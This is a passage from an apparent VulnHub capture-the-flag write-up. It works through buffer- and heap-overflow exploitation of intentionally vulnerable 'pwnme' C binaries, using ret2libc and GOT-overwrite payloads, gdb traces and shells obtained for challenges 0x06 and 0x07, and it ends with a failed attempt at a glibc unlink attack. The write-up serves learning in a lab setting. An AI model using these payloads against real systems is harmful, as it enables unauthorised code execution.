payload += "\x69\x5a\xf8\xb7" # Address of "/bin/bash" string within libc
Putting this all together, I fire it off to the binary as the first argument.
tux@tux:~/0x06$ ./pwnme `python -c 'print "%76x\xe0\x43\xe6\xb7\x69\x5a\xf8\xb7\x69\x5a\xf8\xb7"'`
2c0003f�C�iZ�iZ�
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Awesome! Note to self - don't over think things.
0x07
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct member {
int id;
char *name;
} member;
void main(int argc, char **argv)
{
struct member *m1, *m2, *m3;
m1 = malloc(sizeof(struct member));
m1->id = 1;
m1->name = malloc(8);
m2 = malloc(sizeof(struct member));
m2->id = 2;
m2->name = malloc(8);
strcpy(m1->name, argv[1]);
strcpy(m2->name, argv[2]);
exit(0);
}
So, the time has come to smash the heap. Here be dragons.
Before I start, I'm going to admit that most of the tutorial included for exploiting heap overflows went completely over my head. Maybe I need to read through it a few more times, maybe I'm just not ready for it yet. That aside, let's get dirty.
We've two instances of the member
structure that have memory allocated for them. These each have a further 8 bytes of memory allocated to their name
property. Once these allocations have been performed, the strings from the first and second arguments are copied into their respective instances with no length checking. We're in overflow country.
Now, what I'm about to say may be completely incorrect, but here goes anyway.
By overflowing the first instance of the member
structure with input from the first argument, we are able to overwrite the address of the name
property in the second instance. When we then attempt to copy into the name
property of the second instance the string from the second argument, we'll actually be copying it in to the address defined by our first overflow, giving us the ability to write to any location in memory (that is writable) an arbitrary string. The below test would attempt to write CCCC
to the address BBBB
.
./pwnme `python -c 'print "A" * 20 + "BBBB" + " " + "CCCC"'`
How do we get from this to a shell? Well, first I checked the security on the binary - it'd be nice if we could jump to some shell code. NX enabled, damn. It's ok, we like a challenge.
Next, I start to work on overwriting the GOT entry for the exit
function. After some playing, I come up with a working proof of concept. This will overwrite the GOT entry for the exit
function (at 0x08049794
) with the address of the __libc_system
function (at 0xb7e643e0
).
./pwnme `python -c 'print "A" * 20 + "\x94\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7"'`
Of course, the above is not really much use to us, as the stack at this point is in a completely useless state for executing __libc_system
.
Due to the methods used in the main function (malloc
, strcpy
and exit
), I found that we could overwrite all three GOT entries for these functions in one fell swoop, allowing us to control WHERE exit
goes, and WHAT strcpy
calls. The below snippet from objdump -d pwnme
shows how this is possible. We simply provide a string with the correct bytes to overwrite the GOT entry for strcpy
, followed by malloc
, __gmon_start__
and finally exit
. We don't actually change the GOT entry for malloc
or __gmon_start__
- they're just casualties of war.
08048310 <strcpy@plt>:
8048310: ff 25 88 97 04 08 jmp *0x8049788
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x2c>
08048320 <malloc@plt>:
8048320: ff 25 8c 97 04 08 jmp *0x804978c
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x2c>
08048330 <__gmon_start__@plt>:
8048330: ff 25 90 97 04 08 jmp *0x8049790
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x2c>
08048340 <exit@plt>:
8048340: ff 25 94 97 04 08 jmp *0x8049794
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x2c>
Moving on, I decide that I want to overwrite the GOT for strcpy
to point to __libc_system
, and exit
with a location within main
that will allow us to setup our stack prior to the a call to strcpy
, so that we can execute an arbitrary command.
How did I decide upon the position within main
to jump to? I got lucky. I started before the setup for the first call to strcpy
, which failed. I then proceeded to shift the position back to before any other stack setup was performed for other calls, and repeated until I got valid stack setup. Not a great approach, but I'm going to re-visit this solution and try to learn more from it. I hate not knowing why a solution works - especially my own!
Our payload looks a little something like this.
payload = "sh;#" # The command we want to execute
payload += "A" * 16 # Padding to reach the pointer for the second instances name property
payload += "\x88\x97\x04\x08" # The address for the GOT entry of the strcpy function
payload += " " # End of argument the first
payload += "\xe0\x43\xe6\xb7" # Address of __libc_system - overwriting the GOT entry of the strcpy function
payload += "\x26\x83\x04\x08" # Original address of GOT entry of the malloc function
payload += "\x36\x83\x04\x08" # Original address of the GOT entry of the __gmon_start__ function
payload += "\xb9\x84\x04\x08" # Address of main+94 - overwriting the GOT entry of the exit function
Here's a rather lengthy output from gdb
, demonstrating the first call to strcpy
, followed by the second, by which time our stack has been sufficiently setup prior to the call to __libc_system
by the manipulated GOT entry for strcpy
.
tux@tux:~/0x07$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ break *main+131
Breakpoint 1 at 0x80484de
gdb-peda$ run `python -c 'print "sh;#" + "A" * 16 + "\x88\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7\x26\x83\x04\x08\x36\x83\x04\x08\xb9\x84\x04\x08"'`
Starting program: /home/tux/0x07/pwnme `python -c 'print "sh;#" + "A" * 16 + "\x88\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7\x26\x83\x04\x08\x36\x83\x04\x08\xb9\x84\x04\x08"'`
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 --> 0x0
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6c0 --> 0x804a018 --> 0x0
EIP: 0x80484de (<main+131>: call 0x8048310 <strcpy@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484d9 <main+126>: sub esp,0x8
0x80484dc <main+129>: push edx
0x80484dd <main+130>: push eax
=> 0x80484de <main+131>: call 0x8048310 <strcpy@plt>
0x80484e3 <main+136>: add esp,0x10
0x80484e6 <main+139>: mov eax,DWORD PTR [ebx+0x4]
0x80484e9 <main+142>: add eax,0x8
0x80484ec <main+145>: mov edx,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x804a018 --> 0x0
arg[1]: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 --> 0x804a018 --> 0x0
0004| 0xbffff6c4 --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0008| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0012| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>: add edi,0x1)
0016| 0xbffff6d0 --> 0x3
0020| 0xbffff6d4 --> 0xbffff794 --> 0xbffff8b7 ("/home/tux/0x07/pwnme")
0024| 0xbffff6d8 --> 0x804a028 --> 0x2
0028| 0xbffff6dc --> 0x804a008 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080484de in main ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EIP: 0x80484de (<main+131>: call 0x8048310 <strcpy@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484d9 <main+126>: sub esp,0x8
0x80484dc <main+129>: push edx
0x80484dd <main+130>: push eax
=> 0x80484de <main+131>: call 0x8048310 <strcpy@plt>
0x80484e3 <main+136>: add esp,0x10
0x80484e6 <main+139>: mov eax,DWORD PTR [ebx+0x4]
0x80484e9 <main+142>: add eax,0x8
0x80484ec <main+145>: mov edx,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
arg[1]: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
0004| 0xbffff6bc --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0008| 0xbffff6c0 --> 0x0
0012| 0xbffff6c4 --> 0xbffff8e5 --> 0xb7e643e0 (<__libc_system>: push ebx)
0016| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0020| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>: add edi,0x1)
0024| 0xbffff6d0 --> 0x3
0028| 0xbffff6d4 --> 0xbffff794 --> 0xbffff8b7 ("/home/tux/0x07/pwnme")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080484de in main ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6b4 --> 0x80484e3 (<main+136>: add esp,0x10)
EIP: 0x8048310 (<strcpy@plt>: jmp DWORD PTR ds:0x8049788)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048306: jmp DWORD PTR ds:0x8049784
0x804830c: add BYTE PTR [eax],al
0x804830e: add BYTE PTR [eax],al
=> 0x8048310 <strcpy@plt>: jmp DWORD PTR ds:0x8049788
| 0x8048316 <strcpy@plt+6>: push 0x0
| 0x804831b <strcpy@plt+11>: jmp 0x8048300
| 0x8048320 <malloc@plt>: jmp DWORD PTR ds:0x804978c
| 0x8048326 <malloc@plt+6>: push 0x8
|-> 0xb7e643e0 <__libc_system>: push ebx
0xb7e643e1 <__libc_system+1>: sub esp,0x8
0xb7e643e4 <__libc_system+4>: mov eax,DWORD PTR [esp+0x10]
0xb7e643e8 <__libc_system+8>: call 0xb7f4ba1b <__x86.get_pc_thunk.bx>
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b4 --> 0x80484e3 (<main+136>: add esp,0x10)
0004| 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
0008| 0xbffff6bc --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0012| 0xbffff6c0 --> 0x0
0016| 0xbffff6c4 --> 0xbffff8e5 --> 0xb7e643e0 (<__libc_system>: push ebx)
0020| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0024| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>: add edi,0x1)
0028| 0xbffff6d0 --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048310 in strcpy@plt ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
EBX: 0xbffff700 --> 0x3
ECX: 0xb7fcf420 --> 0x0
EDX: 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0x0
ESP: 0xbffff6b4 --> 0x80484e3 (<main+136>: add esp,0x10)
EIP: 0xb7e643e0 (<__libc_system>: push ebx)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7e643dc <cancel_handler+220>: pop edi
0xb7e643dd <cancel_handler+221>: ret
0xb7e643de: xchg ax,ax
=> 0xb7e643e0 <__libc_system>: push ebx
0xb7e643e1 <__libc_system+1>: sub esp,0x8
0xb7e643e4 <__libc_system+4>: mov eax,DWORD PTR [esp+0x10]
0xb7e643e8 <__libc_system+8>: call 0xb7f4ba1b <__x86.get_pc_thunk.bx>
0xb7e643ed <__libc_system+13>: add ebx,0x16ac13
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b4 --> 0x80484e3 (<main+136>: add esp,0x10)
0004| 0xbffff6b8 --> 0x804a018 ("sh;#", 'A' <repeats 16 times>, "H\240\004\b")
0008| 0xbffff6bc --> 0xbffff8cc ("sh;#", 'A' <repeats 16 times>, "\210\227\004\b")
0012| 0xbffff6c0 --> 0x0
0016| 0xbffff6c4 --> 0xbffff8e5 --> 0xb7e643e0 (<__libc_system>: push ebx)
0020| 0xbffff6c8 --> 0x804977c --> 0x8049690 --> 0x1
0024| 0xbffff6cc --> 0x8048562 (<__libc_csu_init+82>: add edi,0x1)
0028| 0xbffff6d0 --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
__libc_system (line=0x804a018 "sh;#", 'A' <repeats 16 times>, "H\240\004\b") at ../sysdeps/posix/system.c:178
And finally, the exploit working on the command line.
tux@tux:~/0x07$ ./pwnme `python -c 'print "sh;#" + "A" * 16 + "\x88\x97\x04\x08" + " " + "\xe0\x43\xe6\xb7\x26\x83\x04\x08\x36\x83\x04\x08\xb9\x84\x04\x08"'`
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
0x08
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char **argv) {
char *p1, *p2;
p1 = malloc(64);
p2 = malloc(64);
strcpy(p1, argv[1]);
free(p2);
free(p1);
exit(0);
}
So this looks like a classic heap overflow, however I'm going to throw my hands up and say that I just can't get my head around this. The version of glibc
on the target is relatively recent at 2.19
, which includes a lot of hardening techniques for the malloc
and free
methods, meaning that the techniques applicable to our vulnerable program are not (to my knowledge) usable.
Below is the structure of chunks allocated by malloc
.
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
size
is immediately followed (in non-free blocks) by the data.
If I understand the logic behind the intended attack, we need to overflow the heap during the call to strcpy
, to fool the first free
call in to modifying what it believes to be the fd
or bk
pointers in the previous (or falsified next?) chunk with the address of the system
function. When I say believes, I mean that we must also fool free
in to writing to the GOT pointer of the free
or exit
function. When I say falsified, I wonder if we can trick free
in to believing the size of the current chunk is equal to that of the offset between the chunk for p2
and the GOT pointer for the free
or exit
functions.
I'm hoping that this is just down to me not fully understanding the techniques, and I am really looking forward to reading a successful exploitation of this binary. Learning is what it's all about at the end of the day. No shame in failure!
I've collected a small list of links that I found useful while investigating heap overflows, which I'll include below.
http://phrack.org/issues/66/10.html https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/ http://phrack.org/issues/66/6.html http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400 http://yingkailiang.blogspot.co.uk/2014/01/heap-based-buffer-overflow-exploit.html https://gbmaster.wordpress.com/2014/08/11/x86-exploitation-101-heap-overflows-unlink-me-would-you-please/ http://homes.soic.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf
Conclusions
Over all, I really enjoyed this machine. It had some nice challenges in it, was hard enough to require some learning, and helped me get my head around a couple of concepts that I've not touched on much before.
The final challenge - 0x08, the heap overflow - proved too much for me. I'm going to keep on reading, and see if I can figure out where I'm going wrong, what I need to do and how I can do it. I hate publishing an unfinished write up, but to be honest I'm at my wits end with this one.
Thank you canyoupwn.me for the great challenge, and as always, thank you VulnHub for hosting it!